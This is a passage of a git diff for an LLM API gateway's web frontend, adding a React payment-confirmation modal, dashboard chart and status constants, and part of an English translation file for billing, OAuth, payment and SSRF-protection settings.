+        <div className='flex items-center'>
+          <CreditCard className='mr-2' size={18} />
+          {t('充值确认')}
+        </div>
+      }
+      visible={open}
+      onOk={onlineTopUp}
+      onCancel={handleCancel}
+      maskClosable={false}
+      size='small'
+      centered
+      confirmLoading={confirmLoading}
+    >
+      <div className='space-y-4'>
+        <Card className='!rounded-xl !border-0 bg-slate-50 dark:bg-slate-800'>
+          <div className='space-y-3'>
+            <div className='flex justify-between items-center'>
+              <Text strong className='text-slate-700 dark:text-slate-200'>
+                {t('充值数量')}：
+              </Text>
+              <Text className='text-slate-900 dark:text-slate-100'>
+                {renderQuotaWithAmount(topUpCount)}
+              </Text>
+            </div>
+            <div className='flex justify-between items-center'>
+              <Text strong className='text-slate-700 dark:text-slate-200'>
+                {t('实付金额')}：
+              </Text>
+              {amountLoading ? (
+                <Skeleton.Title style={{ width: '60px', height: '16px' }} />
+              ) : (
+                <div className='flex items-baseline space-x-2'>
+                  <Text strong className='font-bold' style={{ color: 'red' }}>
+                    {renderAmount()}
+                  </Text>
+                  {hasDiscount && (
+                    <Text size='small' className='text-rose-500'>
+                      {Math.round(discountRate * 100)}%
+                    </Text>
+                  )}
+                </div>
+              )}
+            </div>
+            {hasDiscount && !amountLoading && (
+              <>
+                <div className='flex justify-between items-center'>
+                  <Text className='text-slate-500 dark:text-slate-400'>
+                    {t('原价')}：
+                  </Text>
+                  <Text delete className='text-slate-500 dark:text-slate-400'>
+                    {`${originalAmount.toFixed(2)} ${t('元')}`}
+                  </Text>
+                </div>
+                <div className='flex justify-between items-center'>
+                  <Text className='text-slate-500 dark:text-slate-400'>
+                    {t('优惠')}：
+                  </Text>
+                  <Text className='text-emerald-600 dark:text-emerald-400'>
+                    {`- ${discountAmount.toFixed(2)} ${t('元')}`}
+                  </Text>
+                </div>
+              </>
+            )}
+            <div className='flex justify-between items-center'>
+              <Text strong className='text-slate-700 dark:text-slate-200'>
+                {t('支付方式')}：
+              </Text>
+              <div className='flex items-center'>
+                {(() => {
+                  const payMethod = payMethods.find(
+                    (method) => method.type === payWay,
+                  );
+                  if (payMethod) {
+                    return (
+                      <>
+                        {payMethod.type === 'alipay' ? (
+                          <SiAlipay
+                            className='mr-2'
+                            size={16}
+                            color='#1677FF'
+                          />
+                        ) : payMethod.type === 'wxpay' ? (
+                          <SiWechat
+                            className='mr-2'
+                            size={16}
+                            color='#07C160'
+                          />
+                        ) : payMethod.type === 'stripe' ? (
+                          <SiStripe
+                            className='mr-2'
+                            size={16}
+                            color='#635BFF'
+                          />
+                        ) : payMethod.icon ? (
+                          <img
+                            src={payMethod.icon}
+                            alt={payMethod.name}
+                            className='mr-2'
+                            style={{
+                              width: 16,
+                              height: 16,
+                              objectFit: 'contain',
+                            }}
+                          />
+                        ) : (
+                          <CreditCard
+                            className='mr-2'
+                            size={16}
+                            color={
+                              payMethod.color || 'var(--semi-color-text-2)'
+                            }
+                          />
+                        )}
+                        <Text className='text-slate-900 dark:text-slate-100'>
+                          {payMethod.name}
+                        </Text>
+                      </>
+                    );
+                  } else {
+                    // 默认充值方式
+                    if (payWay === 'alipay') {
+                      return (
+                        <>
+                          <SiAlipay
+                            className='mr-2'
+                            size={16}
+                            color='#1677FF'
+                          />
+                          <Text className='text-slate-900 dark:text-slate-100'>
+                            {t('支付宝')}
+                          </Text>
+                        </>
+                      );
+                    } else if (payWay === 'stripe') {
+                      return (
+                        <>
+                          <SiStripe
+                            className='mr-2'
+                            size={16}
+                            color='#635BFF'
+                          />
+                          <Text className='text-slate-900 dark:text-slate-100'>
+                            Stripe
+                          </Text>
+                        </>
+                      );
+                    } else {
+                      return (
+                        <>
+                          <SiWechat
+                            className='mr-2'
+                            size={16}
+                            color='#07C160'
+                          />
+                          <Text className='text-slate-900 dark:text-slate-100'>
+                            {t('微信')}
+                          </Text>
+                        </>
+                      );
+                    }
+                  }
+                })()}
+              </div>
+            </div>
+          </div>
+        </Card>
+      </div>
+    </Modal>
+  );
+};
+
+export default PaymentConfirmModal;
diff --git a/new-api/web/classic/src/constants/dashboard.constants.js b/new-api/web/classic/src/constants/dashboard.constants.js
new file mode 100644
index 0000000..7e930b4
--- /dev/null
+++ b/new-api/web/classic/src/constants/dashboard.constants.js
@@ -0,0 +1,149 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+// ========== UI 配置常量 ==========
+export const CHART_CONFIG = { mode: 'desktop-browser' };
+
+export const CARD_PROPS = {
+  shadows: '',
+  bordered: true,
+  headerLine: true,
+};
+
+export const FORM_FIELD_PROPS = {
+  className: 'w-full mb-2 !rounded-lg',
+  size: 'large',
+};
+
+export const ICON_BUTTON_CLASS = 'text-white hover:bg-opacity-80 !rounded-full';
+export const FLEX_CENTER_GAP2 = 'flex items-center gap-2';
+
+export const ILLUSTRATION_SIZE = { width: 96, height: 96 };
+
+// ========== 时间相关常量 ==========
+export const TIME_OPTIONS = [
+  { label: '小时', value: 'hour' },
+  { label: '天', value: 'day' },
+  { label: '周', value: 'week' },
+];
+
+export const DEFAULT_TIME_INTERVALS = {
+  hour: { seconds: 3600, minutes: 60 },
+  day: { seconds: 86400, minutes: 1440 },
+  week: { seconds: 604800, minutes: 10080 },
+};
+
+// ========== 默认时间设置 ==========
+export const DEFAULT_TIME_RANGE = {
+  HOUR: 'hour',
+  DAY: 'day',
+  WEEK: 'week',
+};
+
+// ========== 图表默认配置 ==========
+export const DEFAULT_CHART_SPECS = {
+  PIE: {
+    type: 'pie',
+    outerRadius: 0.8,
+    innerRadius: 0.5,
+    padAngle: 0.6,
+    valueField: 'value',
+    categoryField: 'type',
+    pie: {
+      style: {
+        cornerRadius: 10,
+      },
+      state: {
+        hover: {
+          outerRadius: 0.85,
+          stroke: '#000',
+          lineWidth: 1,
+        },
+        selected: {
+          outerRadius: 0.85,
+          stroke: '#000',
+          lineWidth: 1,
+        },
+      },
+    },
+    legends: {
+      visible: true,
+      orient: 'left',
+    },
+    label: {
+      visible: true,
+    },
+  },
+
+  BAR: {
+    type: 'bar',
+    stack: true,
+    legends: {
+      visible: true,
+      selectMode: 'single',
+    },
+    bar: {
+      state: {
+        hover: {
+          stroke: '#000',
+          lineWidth: 1,
+        },
+      },
+    },
+  },
+
+  LINE: {
+    type: 'line',
+    legends: {
+      visible: true,
+      selectMode: 'single',
+    },
+  },
+};
+
+// ========== 公告图例数据 ==========
+export const ANNOUNCEMENT_LEGEND_DATA = [
+  { color: 'grey', label: '默认', type: 'default' },
+  { color: 'blue', label: '进行中', type: 'ongoing' },
+  { color: 'green', label: '成功', type: 'success' },
+  { color: 'orange', label: '警告', type: 'warning' },
+  { color: 'red', label: '异常', type: 'error' },
+];
+
+// ========== Uptime 状态映射 ==========
+export const UPTIME_STATUS_MAP = {
+  1: { color: '#10b981', label: '正常', text: '可用率' }, // UP
+  0: { color: '#ef4444', label: '异常', text: '有异常' }, // DOWN
+  2: { color: '#f59e0b', label: '高延迟', text: '高延迟' }, // PENDING
+  3: { color: '#3b82f6', label: '维护中', text: '维护中' }, // MAINTENANCE
+};
+
+// ========== 本地存储键名 ==========
+export const STORAGE_KEYS = {
+  DATA_EXPORT_DEFAULT_TIME: 'data_export_default_time',
+  MJ_NOTIFY_ENABLED: 'mj_notify_enabled',
+};
+
+// ========== 默认值 ==========
+export const DEFAULTS = {
+  PAGE_SIZE: 20,
+  CHART_HEIGHT: 96,
+  MODEL_TABLE_PAGE_SIZE: 10,
+  MAX_TREND_POINTS: 7,
+};
diff --git a/new-api/web/classic/src/i18n/locales/en.json b/new-api/web/classic/src/i18n/locales/en.json
new file mode 100644
index 0000000..dc8ad6c
--- /dev/null
+++ b/new-api/web/classic/src/i18n/locales/en.json
@@ -0,0 +1,3792 @@
+{
+  "translation": {
+    " + Web搜索 {{count}}次 / 1K 次 * {{symbol}}{{price}} * {{ratioType}} {{ratio}}_one": " + Web search {{count}} time / 1K times * {{symbol}}{{price}} * {{ratioType}} {{ratio}}",
+    " + Web搜索 {{count}}次 / 1K 次 * {{symbol}}{{price}} * {{ratioType}} {{ratio}}_other": " + Web search {{count}} times / 1K times * {{symbol}}{{price}} * {{ratioType}} {{ratio}}",
+    " + 图片生成调用 {{symbol}}{{price}} / 1次 * {{ratioType}} {{ratio}}": " + Image generation call {{symbol}}{{price}} / 1 time * {{ratioType}} {{ratio}}",
+    " + 文件搜索 {{count}}次 / 1K 次 * {{symbol}}{{price}} * {{ratioType}} {{ratio}}_one": " + File search {{count}} time / 1K times * {{symbol}}{{price}} * {{ratioType}} {{ratio}}",
+    " + 文件搜索 {{count}}次 / 1K 次 * {{symbol}}{{price}} * {{ratioType}} {{ratio}}_other": " + File search {{count}} times / 1K times * {{symbol}}{{price}} * {{ratioType}} {{ratio}}",
+    " 个模型设置相同的值": " models with the same value",
+    " 吗？": "?",
+    " 秒": "s",
+    " 秒。": " seconds.",
+    "，当前无生效订阅，将自动使用钱包": ", no active subscription. Wallet will be used automatically.",
+    "，时间：": ",time:",
+    "，点击更新": ", click Update",
+    "（共 {{total}} 个，省略 {{omit}} 个）": "",
+    "（共 {{total}} 个）": "",
+    "当前仅支持易支付接口，回调地址请在通用设置中配置。": "Currently only the Epay interface is supported. Configure the callback address in General Settings.",
+    "请确认商户和所选环境密钥一致。": "Make sure the merchant and keys for the selected environment match.",
+    "请确认 Merchant、Store、Product 和所选环境密钥一致。": "Make sure Merchant, Store, Product, and the keys for the selected environment match.",
+    "(筛选后显示 {{count}} 条)_one": "(Showing {{count}} item after filtering)",
+    "(筛选后显示 {{count}} 条)_other": "(Showing {{count}} items after filtering)",
+    "(输入 {{input}} tokens / 1M tokens * {{symbol}}{{price}}": "(Input {{input}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "(输入 {{nonAudioInput}} tokens / 1M tokens * {{symbol}}{{price}} + 音频输入 {{audioInput}} tokens / 1M tokens * {{symbol}}{{audioPrice}}": "(Input {{nonAudioInput}} tokens / 1M tokens * {{symbol}}{{price}} + Audio input {{audioInput}} tokens / 1M tokens * {{symbol}}{{audioPrice}}",
+    "(输入 {{nonCacheInput}} tokens / 1M tokens * {{symbol}}{{price}} + 缓存 {{cacheInput}} tokens / 1M tokens * {{symbol}}{{cachePrice}}": "(Input {{nonCacheInput}} tokens / 1M tokens * {{symbol}}{{price}} + Cache {{cacheInput}} tokens / 1M tokens * {{symbol}}{{cachePrice}}",
+    "(输入 {{nonImageInput}} tokens + 图片输入 {{imageInput}} tokens / 1M tokens * {{symbol}}{{price}}": "(Input {{nonImageInput}} tokens + Image input {{imageInput}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "[最多请求次数]和[最多请求完成次数]的最大值为2147483647。": "The maximum value of [Maximum request count] and [Maximum request completion count] is 2147483647.",
+    "[最多请求次数]必须大于等于0，[最多请求完成次数]必须大于等于1。": "[Maximum request count] must be greater than or equal to 0, [Maximum request completion count] must be greater than or equal to 1.",
+    "{\n  \"default\": [200, 100],\n  \"vip\": [0, 1000]\n}": "{\n  \"default\": [200, 100],\n  \"vip\": [0, 1000]\n}",
+    "{{breakdown}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}": "{{breakdown}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}",
+    "{{count}} 项操作_one": "",
+    "{{count}} 项操作_other": "",
+    "{{inputDesc}} + {{outputDesc}}{{extraServices}} = {{symbol}}{{total}}": "{{inputDesc}} + {{outputDesc}}{{extraServices}} = {{symbol}}{{total}}",
+    "{{name}} ID": "{{name}} ID",
+    "{{ratioType}} {{ratio}}": "{{ratioType}} {{ratio}}",
+    "{{ratioType}} {{ratio}}x": "{{ratioType}} {{ratio}}x",
+    "「用户可选」决定用户创建令牌时能否自主选择该分组。未勾选的分组只能由管理员在后台分配给用户，不会出现在用户的令牌创建页面中。": "\"User Selectable\" controls whether users can choose this group when creating tokens. Unchecked groups can only be assigned by admin and won't appear in the token creation page.",
+    "• 视频服务商的跨域限制": "• Cross-origin limitations from the video provider",
+    "• 防盗链保护机制": "• Hotlink protection mechanisms",
+    "• 需要特定的请求头或认证": "• Specific headers or authentication are required",
+    "© {{currentYear}}": "© {{currentYear}}",
+    "| 基于": " | Based on ",
+    "$/1M tokens": "$/1M tokens",
+    "$/次": "",
+    "0 - 最低": "0 - Lowest",
+    "0 表示不限": "0 means unlimited",
+    "0.002-1之间的小数": "Decimal between 0.002-1",
+    "0.1以上的小数": "Decimal above 0.1",
+    "1. 管理员在此创建分组并设置倍率": "1. Admin creates groups and sets ratios here",
+    "1) 点击「打开授权页面」完成登录；2) 浏览器会跳转到 localhost（页面打不开也没关系）；3) 复制地址栏完整 URL 粘贴到下方；4) 点击「生成并填入」。": "1) Click \"Open Authorization Page\" to complete login; 2) The browser will redirect to localhost (it's OK if the page doesn't load); 3) Copy the full URL from the address bar and paste it below; 4) Click \"Generate and Fill\".",
+    "10 - 最高": "10 - Highest",
+    "1h缓存创建 {{price}} / 1M tokens": "1h cache creation {{price}} / 1M tokens",
+    "1h缓存创建 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}": "1h cache creation {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "1h缓存创建 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (倍率: {{ratio}})": "1h cache creation {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (ratio: {{ratio}})",
+    "1h缓存创建：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 1h缓存创建倍率 {{cacheCreationRatio1h}} * {{ratioType}} {{ratio}} = {{amount}}": "1h cache creation: {{tokens}} / 1M * model ratio {{modelRatio}} * 1h cache creation ratio {{cacheCreationRatio1h}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "1h缓存创建价格 {{symbol}}{{price}} / 1M tokens": "1h cache creation price {{symbol}}{{price}} / 1M tokens",
+    "1h缓存创建价格：{{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (1h缓存创建倍率: {{cacheCreationRatio1h}})": "1h cache creation price: {{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (1h cache creation ratio: {{cacheCreationRatio1h}})",
+    "1h缓存创建价格：{{symbol}}{{price}} / 1M tokens": "1h cache creation price: {{symbol}}{{price}} / 1M tokens",
+    "2 - 低": "2 - Low",
+    "2. 管理员在用户管理中将用户分配到对应分组（如 vip）": "2. Admin assigns users to groups in User Management (e.g., vip)",
+    "2025年5月10日后添加的渠道，不需要再在部署的时候移除模型名称中的\".\"": "After May 10, 2025, channels added do not need to remove the dot in the model name during deployment",
+    "3. 用户创建令牌时，下拉菜单中出现勾选了「用户可选」的分组": "3. When users create tokens, groups with \"User Selectable\" checked appear in the dropdown",
+    "360智脑": "360 AI Brain",
+    "4. 令牌使用所选分组的倍率进行计费": "4. Token uses the selected group's ratio for billing",
+    "5 - 正常（默认）": "5 - Normal (default)",
+    "5m缓存创建 {{price}} / 1M tokens": "5m cache creation {{price}} / 1M tokens",
+    "5m缓存创建 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}": "5m cache creation {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "5m缓存创建 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (倍率: {{ratio}})": "5m cache creation {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (ratio: {{ratio}})",
+    "5m缓存创建：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 5m缓存创建倍率 {{cacheCreationRatio5m}} * {{ratioType}} {{ratio}} = {{amount}}": "5m cache creation: {{tokens}} / 1M * model ratio {{modelRatio}} * 5m cache creation ratio {{cacheCreationRatio5m}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "5m缓存创建价格 {{symbol}}{{price}} / 1M tokens": "5m cache creation price {{symbol}}{{price}} / 1M tokens",
+    "5m缓存创建价格：{{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (5m缓存创建倍率: {{cacheCreationRatio5m}})": "5m cache creation price: {{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (5m cache creation ratio: {{cacheCreationRatio5m}})",
+    "5m缓存创建价格：{{symbol}}{{price}} / 1M tokens": "5m cache creation price: {{symbol}}{{price}} / 1M tokens",
+    "8 - 高": "8 - High",
+    "AGPL v3.0协议": "AGPL v3.0 License",
+    "AI 对话": "AI Chat",
+    "AI模型测试环境": "AI model testing environment",
+    "AI模型配置": "AI model configuration",
+    "AK/SK 模式：使用 AccessKey 和 SecretAccessKey；API Key 模式：使用 API Key": "AK/SK mode uses AccessKey and SecretAccessKey; API Key mode uses an API Key",
+    "anthropic-beta JSON 示例": "",
+    "API Key": "API Key",
+    "API Key 模式下不支持批量创建": "Batch creation not supported in API Key mode",
+    "API Key 验证失败": "API Key verification failed",
+    "API Key 验证成功！连接到 io.net 服务正常": "API Key verification successful! Connection to io.net service is normal",
+    "API 地址和相关配置": "API URL and related configuration",
+    "API 密钥": "API Key",
+    "API 密钥 (沙盒)": "",
+    "API 密钥 (生产)": "",
+    "API 文档": "API Documentation",
+    "API 配置": "API Configuration",
+    "API令牌管理": "API token management",
+    "API使用记录": "API usage records",
+    "API信息": "API Information",
+    "API信息管理，可以配置多个API地址用于状态展示和负载均衡（最多50个）": "API information management, you can configure multiple API addresses for status display and load balancing (maximum 50)",
+    "API地址": "Base URL",
+    "API渠道配置": "API channel configuration",
+    "API端点": "API endpoints",
+    "Authorization callback URL 填": "Fill in the Authorization callback URL",
+    "Authorization Endpoint": "Authorization Endpoint",
+    "auto分组调用链路": "auto group call chain",
+    "Available": "Available",
+    "Bark推送URL": "Bark Push URL",
+    "Bark推送URL必须以http://或https://开头": "Bark push URL must start with http:// or https://",
+    "Bark通知": "Bark notification",
+    "Basic Auth 头": "Basic Auth Header",
+    "Cache Directory": "Cache Directory",
+    "Cached tokens": "Cached tokens",
+    "Cached tokens 占比口径由后端返回：Claude 语义按 cached/(prompt+cached)，其余按 cached/prompt。": "Cached token ratio is returned by the backend: Claude calculates as cached/(prompt+cached), others as cached/prompt.",
+    "Changing batch type to:": "Changing batch type to:",
+    "ChatCompletions→Responses 兼容配置": "ChatCompletions→Responses Compatibility Configuration",
+    "ChatCompletions→Responses 兼容配置（Beta）": "ChatCompletions→Responses Compatibility (Beta)",
+    "Claude 强制 beta=true": "Claude Force beta=true",
+    "Claude会在原有请求头基础上追加这些值，不会覆盖已有同名请求头；重复值会自动忽略。": "Claude appends these values on top of existing request headers. Existing headers are not overwritten, and duplicate values are ignored automatically.",
+    "Claude思考适配 BudgetTokens = MaxTokens * BudgetTokens 百分比": "Claude thinking adaptation BudgetTokens = MaxTokens * BudgetTokens percentage",
+    "Claude设置": "Claude settings",
+    "Claude请求头覆盖": "Claude request header override",
+    "Claude请求头追加": "Claude request header append",
+    "Client ID": "Client ID",
+    "Client Secret": "Client Secret",
+    "Codex 授权": "Codex Authorization",
+    "Codex 渠道不支持批量创建": "Codex channel does not support batch creation",
+    "common.changeLanguage": "Change Language",
+    "Completion tokens": "Completion tokens",
+    "Configuration": "Configuration",
+    "context_int/context_string 从请求上下文读取；gjson 从入口请求的 JSON body 按 gjson path 读取。": "context_int/context_string reads from request context; gjson reads from the entry request JSON body using gjson path.",
+    "CPU 使用率超过此值时拒绝请求": "Reject requests when CPU usage exceeds this value",
+    "CPU 阈值 (%)": "CPU Threshold (%)",
+    "Creem API 密钥，敏感信息不显示": "Creem API key, sensitive information not displayed",
+    "Creem Setting Tips": "Creem only supports preset fixed-amount products. These products and their prices need to be created and configured in advance on the Creem website, so custom dynamic amount top-ups are not supported. Configure the product name and price on Creem, obtain the Product Id, and then fill it in for the product below. Set the top-up amount and display price for this product in the new API.",
+    "Creem 介绍": "Creem is the payment partner you always deserved, we strive for simplicity and straightforwardness on our APIs.",
+    "Creem 充值": "Creem Recharge",
+    "Creem 设置": "Creem Setting",
+    "default 和 vip 只能由管理员在「用户管理」中分配给用户。适用于按用户等级定价、内部测试等不希望用户自主选择的场景。": "default and vip can only be assigned to users by admin in \"User Management\". Suitable for tiered pricing, internal testing, or other scenarios where user self-selection is not desired.",
+    "default为默认设置，可单独设置每个分类的安全等级": "\"default\" is the default setting, and each category can be set separately",
+    "default为默认设置，可单独设置每个模型的版本": "\"default\" is the default setting, and each model can be set separately",
+    "Dify渠道只适配chatflow和agent，并且agent不支持图片！": "Dify channel only supports chatflow and agent, and agent does not support images!",
+    "Discord": "Discord",
+    "Discord Client ID": "Discord Client ID",
+    "Discord Client Secret": "Discord Client Secret",
+    "Discord ID": "Discord ID",
+    "Discovery claims": "Discovery claims",
+    "Discovery scopes": "Discovery scopes",
+    "Discovery 建议 scopes：": "Recommended Discovery scopes:",
+    "EUR (欧元)": "EUR (Euro)",
+    "false": "false",
+    "GC execution failed": "GC execution failed",
+    "GC 已执行": "GC executed",
+    "GC 执行失败": "GC execution failed",
+    "GC 次数": "GC Count",
+    "Gemini安全设置": "Gemini safety settings",
+    "Gemini思考适配 BudgetTokens = MaxTokens * BudgetTokens 百分比": "Gemini thinking adaptation BudgetTokens = MaxTokens * BudgetTokens percentage",
+    "Gemini思考适配设置": "Gemini thinking adaptation settings",
+    "Gemini版本设置": "Gemini version settings",
+    "Gemini设置": "Gemini settings",
+    "GitHub": "GitHub",
+    "GitHub Client ID": "GitHub Client ID",
+    "GitHub Client Secret": "GitHub Client Secret",
+    "GitHub ID": "GitHub ID",
+    "Goroutine 数": "Goroutine Count",
+    "Gotify应用令牌": "Gotify application token",
+    "Gotify服务器地址": "Gotify server address",
+    "Gotify服务器地址必须以http://或https://开头": "Gotify server address must start with http:// or https://",
+    "Gotify通知": "Gotify notification",
+    "GPU/容器": "GPU/Container",
+    "GPU数量": "Number of GPUs",
+    "Grok设置": "Grok Settings",
+    "Haiku 模型": "Haiku Model",
+    "Homepage URL 填": "Fill in the Homepage URL",
+    "ID": "ID",
+    "include_obfuscation 用于控制 Responses 流混淆字段。默认关闭以避免客户端关闭该安全保护": "include_obfuscation controls obfuscation fields in Responses stream. Disabled by default to prevent clients from disabling this security protection",
+    "inference_geo 字段用于控制 Claude 数据驻留推理区域。默认关闭以避免未经授权透传地域信息": "The inference_geo field controls Claude's data residency inference region. Disabled by default to prevent unauthorized pass-through of geographic information",
+    "IP": "IP",
+    "IP白名单": "IP Whitelist",
+    "IP白名单（支持CIDR表达式）": "IP whitelist (supports CIDR expressions)",
+    "IP限制": "IP restrictions",
+    "IP黑名单": "IP blacklist",
+    "JSON": "JSON",
+    "JSON 已格式化": "JSON Formatted",
+    "JSON 文本": "JSON Text",
+    "JSON 无效": "Invalid JSON",
+    "JSON 格式参考": "JSON Reference",
+    "JSON 模式": "JSON Mode",
+    "JSON 模式支持手动输入或上传服务账号 JSON": "JSON mode supports manual input or upload service account JSON",
+    "JSON格式密钥，请确保格式正确": "JSON format key, please ensure the format is correct",
+    "JSON格式错误": "JSON format error",
+    "JSON编辑": "JSON Editor",
+    "JSON解析错误:": "JSON parsing error:",
+    "Key": "Key",
+    "Key 或 Path": "Key or Path",
+    "Key 指纹": "Key Fingerprint",
+    "Key 摘要": "Key summary",
+    "Key 来源": "Key Source",
+    "Key 来源类型": "Key Source Type",
+    "Linux DO Client ID": "Linux DO Client ID",
+    "Linux DO Client Secret": "Linux DO Client Secret",
+    "LinuxDO": "LinuxDO",
+    "LinuxDO ID": "LinuxDO ID",
+    "Logo 图片地址": "Logo image address",
+    "Midjourney 任务记录": "Midjourney Task Records",
+    "MIT许可证": "MIT License",
+    "New API项目仓库地址：": "New API project repository address: ",
+    "NewAPI 默认不会将入口请求的 User-Agent 透传到上游渠道；该条件仅用于识别访问本站点的客户端。": "NewAPI does not pass the incoming request's User-Agent to upstream channels by default; this condition is only used to identify clients accessing this site.",
+    "OAuth Client ID": "OAuth Client ID",
+    "OAuth Client Secret": "OAuth Client Secret",
+    "OAuth 登录失败：": "OAuth login failed: ",
+    "OAuth 端点": "OAuth Endpoints",
+    "OAuth 配置错误：授权端点必须是完整的 URL（以 http:// 或 https:// 开头）": "OAuth configuration error: Authorization endpoint must be a full URL (starting with http:// or https://)",
+    "OIDC": "OIDC",
+    "OIDC ID": "OIDC ID",
+    "Ollama 模型管理": "Ollama Model Management",
+    "Ollama 版本信息": "Ollama Version Info",
+    "Opus 模型": "Opus Model",
+    "Passkey": "Passkey",
+    "Passkey 已解绑": "Passkey removed",
+    "Passkey 已重置": "Passkey has been reset",
+    "Passkey 是基于 WebAuthn 标准的无密码身份验证方法，支持指纹、面容、硬件密钥等认证方式": "Passkey is a passwordless authentication method based on WebAuthn standard, supporting fingerprint, face recognition, hardware keys and other authentication methods",
+    "Passkey 注册失败，请重试": "Passkey registration failed. Please try again.",
+    "Passkey 注册成功": "Passkey registration successful",
+    "Passkey 登录": "Passkey Login",
+    "Pay Method Name": "",
+    "Pay Method Type": "",
+    "Ping间隔（秒）": "Ping Interval (seconds)",
+    "POST 参数": "POST Parameters",
+    "price_xxx 的商品价格 ID，新建产品后可获得": "Product price ID for price_xxx, available after creating new product",
+    "Prompt cache hit tokens": "Prompt cache hit tokens",
+    "Prompt tokens": "Prompt tokens",
+    "Reasoning Effort": "Reasoning Effort",
+    "Recharge Quota": "Recharge Quota",
+    "Request ID": "Request ID",
+    "RSA 私钥 (沙盒)": "",
+    "RSA 私钥 (生产)": "",
+    "safety_identifier 字段用于帮助 OpenAI 识别可能违反使用政策的应用程序用户。默认关闭以保护用户隐私": "The safety_identifier field helps OpenAI identify application users who may violate usage policies. Disabled by default to protect user privacy",
+    "Scopes（可选）": "Scopes (optional)",
+    "service_tier 字段用于指定服务层级，允许透传可能导致实际计费高于预期。默认关闭以避免额外费用": "The service_tier field is used to specify service level. Allowing pass-through may result in higher billing than expected. Disabled by default to avoid extra charges",
+    "sk_xxx 或 rk_xxx 的 Stripe 密钥，敏感信息不显示": "Stripe key for sk_xxx or rk_xxx, sensitive information not displayed",
+    "SMTP 发送者邮箱": "SMTP Sender Email",
+    "SMTP 服务器地址": "SMTP Server Address",
+    "SMTP 端口": "SMTP Port",
+    "SMTP 访问凭证": "SMTP Access Credential",
+    "SMTP 账户": "SMTP Account",
+    "Sonnet 模型": "Sonnet Model",
+    "speed 字段用于控制 Claude 推理速度模式。默认关闭以避免意外切换到 fast 模式": "The speed field controls Claude inference speed mode. Disabled by default to avoid unintentionally switching to fast mode",
+    "SSE 事件": "SSE Events",
+    "SSE数据流": "SSE Stream",
+    "SSRF防护开关详细说明": "Master switch controls whether SSRF protection is enabled. When disabled, all SSRF checks are bypassed, allowing access to any URL. ⚠️ Only disable this feature in completely trusted environments.",
+    "SSRF防护设置": "SSRF Protection Settings",
+    "SSRF防护详细说明": "SSRF protection prevents malicious users from using your server to access internal network resources. Configure whitelists for trusted domains/IPs and restrict allowed ports. Applies to file downloads, webhooks, and notifications.",
+    "standard 已被移除，vip 用户看不到": "standard has been removed, vip users cannot see it",
+    "store 字段用于授权 OpenAI 存储请求数据以评估和优化产品。默认关闭，开启后可能导致 Codex 无法正常使用": "The store field authorizes OpenAI to store request data for product evaluation and optimization. Disabled by default. Enabling may cause Codex to malfunction",
+    "Stripe 设置": "Stripe Settings",
+    "Stripe/Creem 商品ID（可选）": "Stripe/Creem Product ID (optional)",
+    "Stripe/Creem 需在第三方平台创建商品并填入 ID": "Stripe/Creem products must be created on the third-party platform and the ID filled in",
+    "Telegram": "Telegram",
+    "Telegram Bot Token": "Telegram Bot Token",
+    "Telegram Bot 名称": "Telegram Bot Name",
+    "Telegram ID": "Telegram ID",
+    "Token Endpoint": "Token Endpoint",
+    "token 会按倍率换算成“额度/次数”，请求结束后再做差额结算（补扣/返还）。": "Tokens are converted to quota/usage count by ratio. After the request completes, the difference is settled (additional deduction/refund).",
+    "Total tokens": "Total tokens",
+    "true": "true",
+    "TTL（秒，0 表示默认）": "TTL (seconds, 0 for default)",
+    "TTL（秒）": "TTL (seconds)",
+    "Turnstile Secret Key": "Turnstile Secret Key",
+    "Turnstile Site Key": "Turnstile Site Key",
+    "Unix时间戳": "Unix timestamp",
+    "Uptime Kuma地址": "Uptime Kuma Address",
+    "Uptime Kuma监控分类管理，可以配置多个监控分类用于服务状态展示（最多20个）": "Uptime Kuma monitoring category management, you can configure multiple monitoring categories for service status display (maximum 20)",
+    "URL 标识，只能包含小写字母、数字和连字符": "URL identifier, only lowercase letters, numbers, and hyphens allowed",
+    "URL链接": "URL Link",
+    "USD (美元)": "USD (US Dollar)",
+    "User Info Endpoint": "User Info Endpoint",
+    "User-Agent include（每行一个，可不写）": "User-Agent include (one per line, optional)",
+    "Value 正则": "Value Regex",
+    "Vertex AI 不支持 functionResponse.id 字段，开启后将自动移除该字段": "Vertex AI does not support the functionResponse.id field. When enabled, this field will be automatically removed",
+    "Waffo API 参数，可空，例如：CREDITCARD,DEBITCARD（最多64位）": "",
+    "Waffo API 参数，可空（最多64位）": "",
+    "Waffo 充值": "",
+    "Waffo 充值的最低数量，默认 1": "",
+    "Waffo 公钥 (沙盒)": "",
+    "Waffo 公钥 (生产)": "",
+    "Waffo 商户 ID": "",
+    "Waffo 是一个支付聚合平台，支持多种支付方式。": "",
+    "Waffo 设置": "",
